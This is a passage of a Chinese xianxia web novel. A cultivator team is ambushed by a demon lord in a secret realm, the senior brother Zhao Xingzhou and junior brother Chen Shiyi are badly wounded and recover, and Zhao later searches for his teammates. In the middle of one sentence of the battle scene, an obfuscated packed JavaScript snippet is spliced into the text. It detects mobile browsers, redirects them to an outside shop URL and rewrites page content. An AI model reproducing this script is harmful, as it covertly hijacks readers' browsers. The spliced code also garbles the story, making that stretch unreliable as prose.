晋级那日和往日并无不同。 七人被场景投放至城墙外,暂不清楚第三层规则,便随意找了个避风的石头稍作休整。 沛卿从怀中取出两张事先准备好的崭新符纸,铺展在石头的一面,张天茂同时从乾坤戒中取出提前研磨好的灵墨和毛笔。 二人手中各拿一支笔,灵墨一碟,摆在符纸中间。 张天茂先动的笔。他将手中毛笔浸满灵墨,手腕灵活,笔触流畅。在符纸上先落左右两撇,一横一竖,再向下拉走画勾。边画边对沛卿道,“你看,这一笔一定要提多一点,若提得不足,驱邪效果一定不够。” 沛卿手上的笔和张天茂的稍有不同,蘸过灵墨,也画大致相同一副形式,却道,“昆仑霸道惯了,连传下来的净心符都一股子煞味。净心符净心符,自然是安心静气更重要。你那一笔都快挑天上去了,如何净心安内?” “邪祟不清如何净心?先灭干净了再来安内也不迟。” “起手煞气太重只会让人浮躁。当心一不小心邪祟侵体了。” 近两日,张天茂和沛卿二人就某类灵符的画法讨论了数次,直到第三层场景转换完毕,依然谁也没能说服谁。讨论无果,沛卿索性拉旁边搓丸子的盈玉仙子来评判。 盈玉仙子素日来话不多,面若皎月,幽似玉兰,一双手白玉无瑕,是娇养才有的肤色。不过入境以来她的手就没停过。有时她会帮忙处理灵墨的材料,但大部分时间就是自己待着制作伤药。 百花医术天下第一,谷内产出的药材重金难求。入境十余天,六个人分别被塞了数种药品,止血的、解毒的、聚气的、内伤内服、外伤内服,虽然至今没太用得上,但盈玉仙子还是一有时间就去找地方搓药丸。 如此被拉过去评理,盈玉仙子便将粘着药泥的一双手支在旁边,认真看过后,对等待结果的二人说道,“制作符箓我不擅长,不如问下那边四位。” 盈玉对着旁边指了指。 不料张沛二人当即拒绝了这个建议。 “剑修能有什么意见,一帮莽人,我不问。” “就是,剑修除了天天喊打喊杀还懂什么?问了也是浪费时间,我也不去。” 这会想法倒一致了。 见二人不肯让步,盈玉笑容温和,态度坚决地从中间挤了出去。 画制符箓她不擅长,但手中材料再不处理,灵气散了药效会大打折扣,那她这几天可就白忙活了。 崎渊这边,师姐妹坐于一处空地,剑带与剑交叠,置放在身侧。 李凤生半跪在傅慕琼身后,闲来无事,在给自家师妹用野花编头发。 一根细麻花辫得歪歪扭扭。 “早知道该多带些吃食进来。” 李凤生眼神幽怨起来,连同手里那支野花都无精打采,“南洲瓜果又香又甜,应该存一点带在戒指里,可是戒指又不保鲜,多半也会腐烂掉了。” 头顶叹息连连,傅慕琼抬头道,“师姐,师父说踏入修途就不该贪恋口腹之欲了。” “师父远在崎渊,哪里管的到我。”李凤生见自己编辫子的手艺太烂,随手松开,绸缎似的黑发随着她的长吁短叹散落,“好想吃梅子,唉,也好想吃李子。” 傅慕琼不语,动了动手指,手中竟真的翻几颗青翠的小果子。 冒着白色的霜气,很是新鲜。 她后仰过去,半倚在李凤生怀里递给她。“早知道你喜欢啦。” 李凤生一把丢了手中的野花,喜上眉梢,“宝贝师妹,还是你最好了!” 姐妹俩说话时脑袋凑在一起,你一颗梅子我一颗李子的,不多时又传来嬉笑的声音。 …… 对比之下,另一头抱剑坐着的两个男的好像是被世界遗弃的人。 赵行舟转头,递给旁边人一个难以理解的眼神,“你有没有什么瓜果?” 陈时易,“……你做梦。” 近来总是这样。七人小队你三我俩凑在一起,各有各的分工和交情,剩下凌绝峰二位,萧条地被晾在一边。 探查和守夜,自然也被分配到一起。 起初二人不太适应,出去勘查各走各的,但守夜时没办法,被迫围着篝火坐在一起。 时间长了,也逐渐适应没事坐在一起的这种处境。 这感觉就像回到陈时易刚上山的那段时间。 每日准点两次送饭,二人没有对话,全凭肢体动作和一点少得可怜的一点眼神交流。 十一年前初识,对方浑身带刺与他对峙,眼中尽是尖锐又冰冷的戒备。 赵行舟不怀疑,但凡他怀揣恶意,再走近一点,这小子就要爬起来跟他拼命。 哪怕没有丝毫胜算。 不过赵行舟无所谓。 他当年的投食行为本就草率。懒得理会对方遭受过什么,心里又在想什么。总之他不会让这位浑身长刺的新鲜师弟在有能力自理前先饿死了。其他的,管他呢。 师弟。这对于赵行舟而言是个新鲜词。 五岁那年,赵行舟父母双亡,沦为孤儿。 自此在市井中流窜着成长,风餐露宿,活得比杂草好点。 八荒三百三十一年,北洲偏北。谢海生初遇十五岁的赵行舟,他身上的风火双灵根初露端倪。 偏远镇子,无人知道这种天赋意味着什么。 北洲冬季寒冷,少年瘦高,破烂粗麻衣裹在身上长度不够,裤沿露出一截骨线清晰的小腿。脚踝肿胀,手肘溃烂,衣物磨损的地方有多处暗红开裂的冻疮。 少年却似乎并不冷,也不觉得疼痛难捱。 风与他亲和,北境凛冽的寒风吹到他近处便开始打转,温顺又驯服。天火根滋生了他骨子里的生命力,由着他发泄似的生长,不可一世的生长。 明明活得像个乞丐,少年却大有一种以天为盖,以地为舆的松弛心态,见谢海生御剑飘在天上,还会自言自语地感慨,“好漂亮的一把剑。” 这句感慨相当纯粹,不是凡人对修仙者那种近乎的羡慕,仅是被某种美丽的东西吸引时下意识的赞叹。 以谢海生的耳力自然听见了,他从剑上落下,饶有兴趣地问少年,“你可想习剑?” 少年赵行舟敞着手脚,很散漫地坐在一个石阶上,与人对视时毫不避让。闻言却笑了,“这位神仙,你不会是想说,我是什么百年难遇的武学奇才,要收我为徒吧?” 如此,拜入昆仑门下,一晃一百九十九年。 修行前的身世令赵行舟习惯独处。他生性不拘小节,一腔侠气,行走江湖容易交到朋友,多是点头之交。 他对父母手足这类的亲情没有概念,入宗门后,才尝试着开始与人产生深交。 受谢海生不拘小节的作风影响,加之看惯了其他师门的相处,觉得人与人之间的感情大约就是如此了。 师门之间,联系不紧密,几年未必见得上一次;缺少尊卑,师父不像师父,师兄不像师兄;但又是牢不可破的稳固关系,就像每次踏上昆仑的上山路,尽头总有归处。 师弟这个身份,在某个具象化的人出现之前,在赵行舟心里已有了最初模糊的定位。 他当然不会有恶意。 只不过别的师门都是兄友弟恭的,他们么,上梁不正下梁歪,也可以理解。 后来,大约是有人意识到了赵行舟作为师兄人还不错,这层戒备从陈时易的眼神里缓慢流失了。 可惜本应出现的亲近却没有出现。 赵行舟在对方身上始终感受到刻意维持的距离感。并非处于不信任,也不是厌恶,而是一种游离在理智之外的对抗,类似直觉,好像陈时易与生俱来就该对他有敌意似的。 距离感像是一层寒冰做的壳,凉薄,又很脆,风雪交加隔绝在两人之间。壳后有情绪在涌动,或许碰一下就会碎,被埋藏的深层情绪会显露出强烈的存在感。 不过就像第一面那样,赵行舟连表达善意都是草率的。他没有无聊到要敲碎隔阂看清别人想法的打算。 至于对方所表现出来的敌意,赵行舟并不陌生。可以说见第一面时就感觉熟悉。 这种敌意贯穿陈时易的脊梁,令他与周遭环境格格不入,显出冷漠、傲慢又强势的姿态;但又何尝不曾以一种执念的方式,同样贯穿过赵行舟的脊梁。 促使他在冰天雪地里没有归途独自前行,促使他在走投无路、伤口狰狞之际,依然把根深植大地,嶙峋坎坷地生长,肆意澎湃地生长。 那是经历过极端困境还要不择手段想要活下去才会有的眼神。 绝不向任何人服从,绝不肯向温和的软弱靠近一步。 生存所需,何曾有错。 所以对同类产生敌意太正常了,山上两只老虎见面还要打一架呢。 赵行舟对此不是很有所谓。 不过有句话让谢海生说着了。 秘境高强度相处了半个月,关系虽比不得一般的同门,但确实有在好转。 这不,现在还能说上句玩笑话了。 正感慨着,远处突然传来一阵若有若无的铃铛声。 铃声古怪,不是寻常的金属器音,更像是两块骨头相撞,在容器里缓慢滚动,发出令人牙酸的颤音。 这声铃音令在场所有人瞬间陷入恍惚。 一大片白茫茫的纸屑飞至眼前,幻术逼真,水一样涌入鼻腔和耳朵,窒息感铺天盖地涌来。 李凤生、赵行舟和张天茂三人率先回过神来。 李凤生一把攥紧剑柄,手中剑似不可忍受般发出轻颤剑鸣。张天茂则大喘着气后退一步。他腰牌上绽放出一阵护身青光,有护身法器受激运转起来。 惊春躁动难安,几欲出鞘,赵行舟回神后,立刻撇头向铃音处看去。 三人随即被眼前的一幕震在原地。 “飒……飒……” 布料拖地,灰白的脚步蹒跚,卷起一层又一层白纸样的落叶。 四个修真者被制成尸偶,眼珠暗淡,扛着一个步辇僵硬前行。 轿身露天,车架由数不清的人骨堆砌而成,通体惨白,四周镶缀着流彩奢华的宝石。上方挂着一盏皮灯,散着令人晃神的红色光晕。灯下坠有一个人头白骨铃铛,颌骨微张,一块磨圆了的白骨珠子似的在里面打转。 铃铛声正从中传出。 步辇上斜倚着一个女人,服饰奢华古怪,裸露在外的皮肤常年不见阳光,泛着无血色的苍白。容貌妖异,红唇鲜艳,一双瞳孔更似血月一般瘆人。 恶意像浓稠的胶液一样流淌,掀起滔天骇浪般的的腐烂气息,逼得人透不过气。 即使秘境内修为受限,高阶修者往下的压制力仍然恐怖。仅一个照面,便知对方修为定远超于他们! 女人定睛审视七个人,随后笑着侧身向身后人招了招手,“中间两个,杀了先别动,我要拿来养魂。” 她音色黏腻,手纤长的指甲划过凌绝的两个人,向旁边划去,“剩下的,你们随意分。” 从步辇后方走出来五个魔族,三男两女,身着褐色古袍。闻言睁开赤红的眼睛,野兽嗜血状呲开獠牙。 “谢藩主赏。” 藩主二字一出,率先清醒过来的三个人立刻行动! 赵行舟翻手一张上等净心符拍住旁边人眉心。陈时易不过金丹初阶,飞剑和神魂联系尚浅,受幻术所困没那么好脱身。 幻术痛苦,陈时易仅是轻皱眉头,不露声色。被人拍住,眼前一晃,第三层日月当空将他拉回到现实中。 却不知方才秘境中看到了什么,他看清眼前的赵行舟,眉头一松,眼中难得掠过些茫然。 另一边被幻境所困的人也依次被唤醒。众人未曾料到这突如其来的变故,一时间应对得有些慌乱。 魔族六人秘境全部是金丹圆满,真实实力只高不低,步辇下还有四个由修真者制成的尸偶。 七人这边,修为最高的李凤生不过刚刚元婴。傅慕琼金丹圆满。赵行舟、张天茂金丹高阶。盈玉、沛卿金丹中阶。外加一个刚下山的陈时易。 实力悬殊,一目了然! 对面攻势极快,不容多想,赵行舟眼疾手快抓住陈时易的衣领子往后一拖,险偏开一招。而后惊春出鞘,剑如破竹平扫出去。 “铮”,剑鸣清脆,拦下当头一击。 对面魔修身型微顿,甩着手中的链刀,笑容阴沉,“人族的小家伙,有点意思。你此战若让我打得尽兴,我可以给你个机会,让你痛痛快快去死,如何?” 骇人的血腥气随着腐臭味扑面而来,一向平稳的神海隐有颤动。 赵行舟闻言却笑了一下,不动声色松开手,对旁边道,“别傻站着了,高阶剑诀学过没有?” 剑修是从金丹期开始接触高阶剑诀,也是从金丹期开始,剑修会在神魂中修行凝练成自己独有的剑意。 赵行舟这句话问得很轻。从陈时易的角度只看得到他的侧脸,眼如寒星,笑意不达眼底,连同唇下痣都显得凛冽。 不等答 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437520|141490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 复,赵行舟撂下句话,便引剑迎战。 “打不赢我没事,要是把命交代在这些家伙手上,可就太憋屈了。师弟。” 鹤钧一挥猛地抽出剑鞘,迎击撞上尖锐的骨刀。 魔修双目赤红,阴气森森,夕阳下泛着冰冷的杀意。 随之高阶强烈的压迫力迎面而来,逼得陈时易退了半步。 赵行舟周身落下几片火星,很少,像三两只飞虫围着他转。 突然收敛殆尽,人消失在原地。 风主迅疾,天风根足以破开当前修为能做到的速度极限。 下一秒,对面魔修脸上出现吃惊的神色,显然他没料到赵行舟的速度。一时措手不及,刀影相错。 陈时易收回余光,不由得发力攥实了手中剑柄。 再抬头看向他的对手,眼沉似水,有不明显的雷光闪烁。 这一战打得可谓惨烈。 步辇被称为藩主的女人最初没有出手,小队七人勉强和五个金丹圆满的魔修打平。 没多久那女人的耐心耗尽了。她从步辇上站起来,铺天盖地的白色纸屑夹杂着冰冷黏腻的杀意,将小队七人限制在原地。 又是幻术。 那女人视线扫过纠缠打斗的五位魔仆,神色冰冷,带着厌恶,“一帮废物。” 方才还嚣张不已的魔仆们脸色一变,打了个颤,就要跪伏在地。 步辇随女人坐起的动作开始变化,下方急速延伸出数十条白色的长链,漫天飞扬,尾端都是骨刺,蝎子尾巴似的带勾,像无数扭动的蛇一样插入战局。 这次幻术挣脱得更加困难。张天茂那边局势先被破,原先勉强能抗住魔仆进攻的御守结界此时脆得像纸一样。骨刺插破结界,直接没入最近处沛卿的胸口。 沛卿虽为探位,但主修的方向是测算,制符,本人战力几乎没有。他胸口被刺摔倒在地,紧接着向步辇的方向被拖走。 盈玉第一个回神,一把扑上前死死抓住沛卿,手中清光频闪,捂住他喷血的胸口,而后抛出净心符甩在张天茂身上。 张天茂清醒时,盈玉和沛卿已被拖出一丈远,当即脸色剧变,封守结界拂扇再立,卡住一截骨绳,勉强止住拖行。 双方一时僵持住,伤口被盈玉施法所限,流血有所缓解,但仍能感受到沛卿的生命力正在急速流逝,或者说,是在被什么东西吸收。 盈玉抓起一把灵药塞入沛卿的口中,手中施法的清光逐渐被伤口处喷发的血液抑制住,有微弱的黑气缠住她细弱的手臂。盈玉两臂不住发抖,吃力且着急,“这骨刺上的魔气强我太多,快想办法救他出去,否则用不了多久他的内脏就会被魔气耗干!” 张天茂与骨链拉扯不至于被拖动已近极限,满脸涨红向远望去,与挣脱幻术的赵行舟相望正着。 “救……人……”说话极困难,再泻一丝气,封守结界立刻便破。 沛卿瘦弱的身体几乎被撕毁,被口中灵药一激,缓过一丝理智,当即满嘴是血对张天茂和盈玉嘶哑道,“魔族以人的血肉……作为修行根基,此人道行远超我们,她在吸收我的神魂。绝不能被这个东西缠住!你们别管我了,叫上大家……快走,快走!” 气流轻震,赵行舟突得闪至眼前,随势撩腕一剑斩断骨链。 他身上挂了点彩,由于奔行而来的速度过快,微微带着喘息,双眼冷静审视着局面,当机立断道,“带他走,去找人。” 却听步辇上的女人撑着下巴,玩味地打量下方,“走,本座何时允许你们走了?” 话音一落,纷飞的几十根骨绳逐一合并,转眼融为四根硕大的长链,似巨龙翻滚在地,破坏力惊人。 一根骨绳尚可断,这如何能断。 西侧骨龙先袭,赵行舟一剑抗肩撑住,被撞击逼得连退两步,而后第二条迅速逼至眼前! 躲避不及,若被刺伤后果不堪设想。不料有雷息乍现而过,猛地拦在身前! 陈时易看上去比赵行舟还狼狈些,喘着不可抑制的粗气,满身不知谁的血,被此一击冲撞地后退数步,眼神却沉到海底去了。 几缕发丝垂落,剑横在眼前遮住一只眼,显得又狠又戾。 李傅二人要牵制住五个发狂的魔修不攻过来已是极限。不多时双双中伤,还在苦苦坚持。 赵行舟咬牙挥开眼前粗壮的骨链,回头见张天茂三人行至不远。 秘境内无法御物,携带一个伤患速度更慢,如此两招过后,仍没有脱离骨链的攻击范围。 第三第四条已攻至沛卿背后,饶是赵行舟速度再快,也只来得及用剑劈开一根。 另一根下手去拦,修为运至极限,左手勉强拦住,顿时蹭得满手鲜血,隐约翻见掌中白骨。 全身血气涌至左侧,顺着骨链输送至步辇,是有人在贪婪吸取他的血液。赵行舟左边身体立时陷入麻痹,难以挣动,下一刻被人撞开。 陈时易后背撞在赵行舟身上,沉肩硬与骨龙抵力,颌骨收住,后颈处肌肉绷得紧紧的,冰霜丝丝蔓延又碎开,指骨用力到泛白发青。 可双方实力悬殊过大,极难硬撑。 偷取生命的渠道被切断,生死攸关之际,赵行舟忽然觉得天地间所有行为都被拉长,呼吸随之变缓。 远处两根骨链以惊人的速度逼近,一条细细的骨链从龙头弹射出来,直取二人命门。 风随陈时易鬓边的发丝垂落,眉眼冷似极寒之地,在赵行舟被拖至很长的时间线里,陈时易大概回看了他一眼。 眼中又有不甘心。 也是,怎么能死在这里,也太难看了。 那时赵行舟剑意尚在启蒙初期。风主迅疾,灵敏,火主凝滞,压制。他的修行与别人有些不同,别人施诀,多作用在环境,靠环境夺得优势。 他习惯作用于自己。 心元破法剑诀,所谓由心所生,破天下法。 明悟只需一个念头,此情此景,身体却来不及做更多的反应。 赵行舟用骨肉模糊的手拉开陈时易的站位,初悟气息不够,只能拽到一半的距离。 两个人突然面对面侧身站在一起,再近点,呼吸都能感受到了。 陈时易眼中现出一丝怔忪,距离太近,只看得见赵行舟的大半张侧脸。 两颗漆黑的瞳孔中映出一张脸,自相识以来,这人神态总是自若的。 与人交谈也罢,独自练剑也罢,总是一副漫不经心,与己无关的模样。正如现在。 腹部出现一摊微热的液体,黏腻,是生命特有的温度。不是他的血。 赵行舟踉跄一下,骨刺从他肋下贯穿,炸开一朵花,硬是迅速把他向后拖去。 陈时易握剑的手颤抖一瞬,向前伸去。 每个人性格不同,对修行的理解不同,即使是相同灵根,修行方向上也会有极大的差异。 陈时易的双位灵根,震位雷灵根主杀伐、征战,坎位水灵根主破坏、溶解。 最适合修杀位的双灵根。此生第一次被逼出离体的剑意,除了裹挟着迫人的煞气外,还有不甘心。 31. 第 31 章 赵行舟躺在一棵榕树下。 脱离崩坏的离天幻境,想起一堆杂乱的记忆,和队友完全走散。 对陈时易最新的记忆停留在第一次秘境刚结束不久。 那次经历着实惊险。一群没有经验的修真新人,第一次遇外族就是藩主级别的魔族。所幸是在修为受限的秘境内,若是秘境外,刚一照面就够七人死透了。 魔族一共十二藩主,麾下魔仆无数。 藩主的实力是化神起步。 用谢海生的话说,没死人算他们命大。 确实命大。 那次经历使赵行舟第一次悟到心元破法剑诀的雏形,如没记错,也是陈时易凝练出第一道剑意的时机。凭借这一道剑意,他师弟斩断拖着他的骨链,二人硬是在魔族藩主手下又撑了一炷香的时间。 而后等来支援。 当时赵行舟伤势很重,未等出境就失去了意识。再醒来时发现自己身处百花谷。一行七人都在,重伤的重伤,昏迷的昏迷,被安置在不同的客房。 赵行舟醒的比沛卿早,衣服被人换过一套。凌绝峰服装脱掉了,只一身白色中衣,散发着草药味。腹部、后背缠满绷带,左手裹得像只粽子,几乎分不出手指。 当时他旁边坐着一个人,落下来的影子瘦削,手上提着个药壶,一动不动,任由热气慢腾腾往上冒。 那人裸露在外的皮肤绑着绷带,手腕骨节突出,搁在膝上,脖子缠了几道,一圈一圈包裹延伸至收紧的领口和袖口内,只露出一双眼睛在外面,有些冷淡,又像是在走神。 察觉到赵行舟试图坐起来,那人下意识用没拿壶的手向着他伸了一下,不过刚伸出来一点就顿住了。 乍一回过神,还有些不知所措似的。 赵行舟凭借自己的力气坐了起来。五脏六腑没有一处不疼,右手连至肩膀更是毫无知觉。但他还是忍不住去看床边人,随即有些不可置信,“师弟?” “嗯。”收回手,声音有些沉闷。 “你怎么,怎么被裹成干尸了?”赵行舟诧异之余,想要说道几句,结果一咧嘴浑身上下乱痛,不免拱起腰来,“怎么脸上都是绷带,你毁容了?那个魔族对你……嘶,好痛。” “没有毁容,只是在养伤。”大约很久没有开口说话,一开口沙哑得很。见赵行舟一阵呲牙咧嘴,陈时易微微抿唇,还是伸出缠满绷带的右手扶了下赵行舟的左小臂,“痛就不要笑了。” 全身被魔气腐蚀,表皮四下溃烂,但都是皮外伤,养上个把月就会好。 赵行舟却是胸腹被骨链捅穿。百花谷的人说,内脏侵蚀更难调理,要静养。 半边被人撑住,赵行舟望着头顶纱幔感慨,“你这样抓着我,我一点知觉都没有。唉,我左手不会是废了吧? “不会。” “你怎么知道?” “我问过了。” 赵行舟挑眉,“你还知道关心我的伤势?看不出来啊。” 陈时易的手微微一顿,语气冷淡,“顺便而已,你别想多了。” 赵行舟不以为然,换了个放松的姿势靠在墙上,又道,“我还想呢,若左手不能用,今后便只剩一只手了,要是有一天打不过你了怎么办。” 赵行舟眯着眼展开想象,“这新仇加旧怨的,你要是比我厉害,肯定是要欺负到我头上去了。那我当师兄的面子往哪搁?” 一声轻嗤。 “笑什么?” “你和我有什么新仇旧怨?” “我……”随口一句,还真给赵行舟问住了。 “看来你也知道平时是在欺负人。”陈时易缠着绷带看不出表情,单手把药壶搁在床边上,语气不冷不淡,“不说还以为你当真是在陪我练剑。” …… 果然修行不能懈怠,赵行舟靠在墙上心想。否则每天被按在地上打的就要换人了。 如此在百花谷养伤,陈时易每日三次来送药壶。送完人不走,不是坐在屋里发呆,就是一言不发地翻看剑谱。数日来一个外人都没见到。 有一日赵行舟觉得无聊,问为什么来来回回总是他,对方说,因为除了他没人愿意来。听得赵行舟抽了抽嘴角。 后来他能勉强下床。看陈时易无所事事,撑着一只手专注看书,便指挥人扶自己出去透气。 陈时易闻言将视线从书上挪开,眉头轻簇,看不出是不情愿还是不赞同。赵行舟见使唤不动他,右手拄着惊春当拐站起来,三步一歪,身残志坚。 “得,我自己走。偌大一个百花谷,我不信没人管我。” 又道,“张天茂这小子有够没良心的,我躺了十天都快憋死了,也不知道来看我一眼。……” 话没说完左边胳膊被人拉住。有微冷的气息萦绕着,很像昆仑雪山的雾气,令人觉得熟悉。陈时易道,“你找他干什么,我不是管你了。” 赵行舟侧身,不跟他客气,因左边抬不起来,就右手抓左手搭在陈时易后脖子上,然后整个左边压在他身上,“行,那你现在带我出去晒太阳。再见不到太阳你师兄我真的要长蘑菇了,师弟。” 路上偶遇李傅两姐妹。此番过命的交情,让大家见面不自觉亲近起来。李凤生隔着老远便招手,“行舟兄,时易兄。” 赵行舟抬了抬右手。待四人走近聊起近况,李凤生心有余悸,“真险呐,好在天茂兄和盈玉姑娘伤得不重,能及时找来昆仑的长辈救援,还能手把手把我们运出去。否则现在给人家抬轿子的……”李凤生的手在四人中间转了一圈,“说不定就是咱们四个了。” 赵行舟左臂撑在陈时易肩上,跟着她的手看了一圈四人的身高,不由笑道,“那我和我师弟要站对角的,不然轿子抬成斜的了。” “那不行,我和我师妹就算抬轿子也要挨着,对吧师妹?”李凤生回头打趣了一声,又打量眼前两人,“几日不见,你们关系变这么好啦?说这么久的话了,还勾肩搭背舍不得松开。” “伤没好呢,要不是他扶着我,我都走不出房门。”赵行舟身体往受力的一侧歪,整个人看上去懒洋洋的,“看来张天茂和盈玉都没事。沛卿怎么样?” “还没醒,不过死不了。倒是你,想见你一面可真难,我和张天茂登门三次吃了三次闭门羹。”李凤生表情无奈,“你说你静养就静养吧,我们都知道你伤得重,但有必要与世隔绝吗?” “啊?”赵行舟一愣,还没弄明白怎么回事,身体突然不受控制地往左边歪去更多,而后越过李傅二人被拖走了。 “不是,等等,我们话还没说完?……” 赵行舟疑惑的声音越来越远,有人头也不回冷淡撂下句,“再不走太阳都要下山了,你是晒太阳还是晒月亮。” 记忆恢复到这里。 ……不多不少。 赵行舟从榕树下坐起来,松了松筋骨,开始向溪诀内城方向行进。 第一层时间所剩不多,神魂中队牌联系尚在,说明目前没有人出局。 第一层晋级第二层的条件是队长带着收集来的队牌去内城城门口报道。 赵行舟手上额外有一个“天鹰四杰”的队牌印记。第一层会淘汰掉一半的人,手上有两个印记且稳住不被人清场,就够满足进阶条件。 当务之急是尽快赶到内城找队友汇合。 奔行路上,赵行舟莫名觉得胸口多了点什么东西。摸出来一看,竟然是一只纸做的鸟。 是秘境中小道士传信用的那个纸鸟,不是崭新的符纸折成的,边沿泛旧,不过巴掌大小。 赵行舟觉得意外,没想到那个奇怪的幻境竟会获得奖励。可这有什么用? 回忆了一下幻境发生的事。好像这小道士是凭空在纸鸟上写了几个字,然后说,“送给冬冬师姐”、“去送给我师父”,这纸鸟就颤悠悠飞走了。 思索了一下,不知是什么原理。赵行舟试探性质学着小道士在纸鸟上方写了几个字,然后对它说,“去送给我师弟”。 纸鸟没有任何反应。 赵行舟笑着摇头,心想这玩意儿还真的跟看上去一样没用。即使是日行千里的崎渊仙鹤,也至少要双方立契才能送达。何况这纸鸟又破,飞得还慢,就算能送,估计等信送到他人也找着了。 欲收起来时,却觉得神魂中荡起一丝极微弱的联系。 而后,这纸鸟在他手中颤动了一下,双翅扇动,竟然歪歪扭扭飞了起来。 在赵行舟不可思议的目光中,纸鸟忽上忽下,一缕光尘般碎在了空中。 真送出去了? 饶是赵行舟见多识广,也从没见过这么草率又奇怪的东西。 在原地呆了一阵,树林后突然传出几道人声。 一个娇俏的少女声音,“师兄,我看那边好像有人。” 然后是一个男人声音,“不是人,一个金丹初期的小树妖,你们不用动手,我去清了他。” “等等!” “等等。” 先后一男一女两道声音制止。 那个少女先惊喜道,“我认识这个小树妖,当时我本要契他的,可惜当时被昆仑的张峰主拦下了。真是好有缘分,他怎么在这?” 崎渊几人从林中走来,统一金边束腰玉袍,走在最前方的正是当时带赵行舟回昆仑的张沛岑和钱巧巧。 钱巧巧几步并作一步往前跑,有些意外,“上次见他不过筑基中后,这次怎么金丹了? 却不料还有一人扛着锄头和包袱,跑得比她还快,一边跑一边大喊,“妖兄,是你吧妖兄?” 秦山渐率先从灌木里钻出来,看见赵行舟,大喜过望,“你怎么自己一个人在这,你的队友呢?” “走散了。”赵行舟也没想到会遇见熟人。如没记错,此人应该是龙砚比试那日要把他捡回去重新长的生位弟子,还是紫霄峰的。 本想顺路打劫一下,这下有点不好下手,赵行舟打算离开。 不料他想走,有人不想他走。钱巧巧伸手拦在他面前,笑眯眯看他,“张峰主是不是还是没有给你立契?” 秦山渐对赵行舟的了解只有和金猊那一战,不知道具体细节,闻言有些纳闷,“他是我们峰主的门下侍,怎么可能没立契。” 钱巧巧从手中翻出一个光圈,“立了契的妖无法被缚妖索束缚住,你要是不信,让我用缚妖索一试便知。” 赵行舟没想到这小女孩还没有放弃要他做门下侍的打算。他往左走,她往左探身,他往右走,她又伸右脚挡住,手里转着缚妖索一副跃跃欲试的样子。赵行舟有些头疼,“我劝你别试。” 钱巧巧开心起来,一副得逞的样子,“还没立契是不是,你肯自己承认了?” “不是。”是因为时间紧迫,我会没有耐心。 崎渊掌门钱留音他有印象,没想到寡了好几百年突然生了个女儿,性格还这么娇纵。 和她那个古板的爹一点都不一样。 也就是没生儿子,赵行舟对着脑子里钱留音的形象念了一句。不然你看我会不会把你儿子的头倒插在地上给草松松土。 不欲多做纠缠,赵行舟单手压住钱巧巧的头,翻身一跃而过,随风道,“别再跟着我了。” 而后奔入重重林影中。 钱巧巧连忙用绸缎一丢,没抓住闪过的赵行舟,立刻急道,“师兄,不要让他跑了!” 张沛岑感应了一下神魂中队牌的呼应,皱眉道,“确实不能让他跑了,他还是一个队的队长。抓住他。” 崎渊三人立刻跟上赵行舟的脚步,几人没几下就消失在丛林中。 剩秦山渐和钱巧巧二人大眼对小眼。秦山渐愕然,“那只妖可是我峰主的门下侍,你这样明目张胆打他的注意,不怕我们峰主生气吗?” 考虑到对方的家世,秦山渐心里虽有些不太舒坦,可也不能说太重的话。钱巧巧了然笑道,“怕什么,反正没立契,可见不是个多受重视的。而且这次你们张峰主也入境了,你知道吧?” “我当然知道了!”秦山渐愈发不平衡,“钱姑娘,你明知道他老人家也入境了,怎么还……” “那你知道他这次是和谁组队的吗?” “这……这我不知道。” “是我的两个师叔哦。”钱巧巧伸出一根手指笑嘻嘻的,神态骄傲。如果她有尾巴,此刻估计要翘到天上去了,“四百岁踏入大乘期,还是两位剑修。真要动起手来,估计秘境中没人是她们的对手。而且她们不仅很疼我,还是张峰主的旧识。如果由她二人开口说情的话,我相信张峰主不会与我计较的。” 秦山渐张了张嘴,最终还是选择闭上了。 因为他知道钱巧巧说的是实话。< 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城门外,有个男人垂首抱剑倚在城墙边。暗纹封腰黑衣长衫,背脊挺拔锋利,下颌线落影清晰。 怀中那把剑金光如粉,浓烈的煞意从鞘中渗出,似水滴落,令人难以逼视。 此人穿的不是昆仑服饰,只看其剑,一时猜不出身份。 偶尔有人经过,此人也会抬头掠一眼。 这一眼没什么情绪,有些居高临下的寡淡。而后,大约是没在眼中看到满意的结果,此人轻皱起眉头,视线向城外扫去。 对视一瞬,滔天的压迫感从空中震落,骇得路过人连连后退。心智不稳的立刻跌倒在地,连滚带爬地往后撤去,几步便惊出一身冷汗。 有人惊骇地与旁边人询问,这到底是什么人?这条路可还能走? 不料旁边人也是欲哭无泪,你问我,我还想问你呢! 雅阁二楼,女子吐掉嘴里的瓜子皮,看了半天没有结果,不由得对旁边衣冠楚楚不停摇扇的男人问道,“那家伙又怎么了?” 摇扇的男人动作一顿,“你问我?” 红衣女子对楼下指了指,“你看那边要晋级进城的人流,一步也不敢过来。他表情那么恐怖,把要走路的道都堵死了。你不如去劝他挪个地方吧。” “我?”男子像是没听清楚一样,又重复了一遍。 “你是昆仑的人,我们可不是。”红衣女子调侃,“你不去谁去?” “我没这能力。”扇子越摇越快,显示出主人心里的不痛快,“你们要是愿意劝你们去。还是那句话,谁爱去谁去,反正我不去。” “城外也有你们昆仑的小辈,照这样下去,第三层人都凑不齐,怎么,你不打算抢神器了?” 摇扇男子不是旁人,正是张天茂,闻言咬牙道,“……抢。”想了一下,突然提议道,“这样吧,待会等听潮剑君回来,你俩就冲上去把他打走。崎渊的两位顶梁柱出手,还是两个打一个,没道理会输吧?” 红衣也不是别人,正是当今名满天下的凤御剑君,李凤生。闻言她冲旁边吐了一嘴瓜子皮,像是无语住了,“天茂兄弟,我们没仇吧?” “以前没仇,以后就不一定了。”张天茂神色认真,又提议,“实在不行咱们三个一起上吧,我看他不顺眼好几百年了。不如就趁这个机会做了他。”说着,合住浮绿扇,坐了个手起刀落的姿势。 李凤生常握剑的那只手抓把瓜子都差点撒了,木然看他,“张天茂你有病吧,怎么,整个昆仑的疯子都被放出来了吗,难道就没有人能管管?” 门被推开。 傅慕琼从外走进,手中握着一块玉牌。她衣着和李凤生相似,只是外罩一层绀蓝对襟外衫。 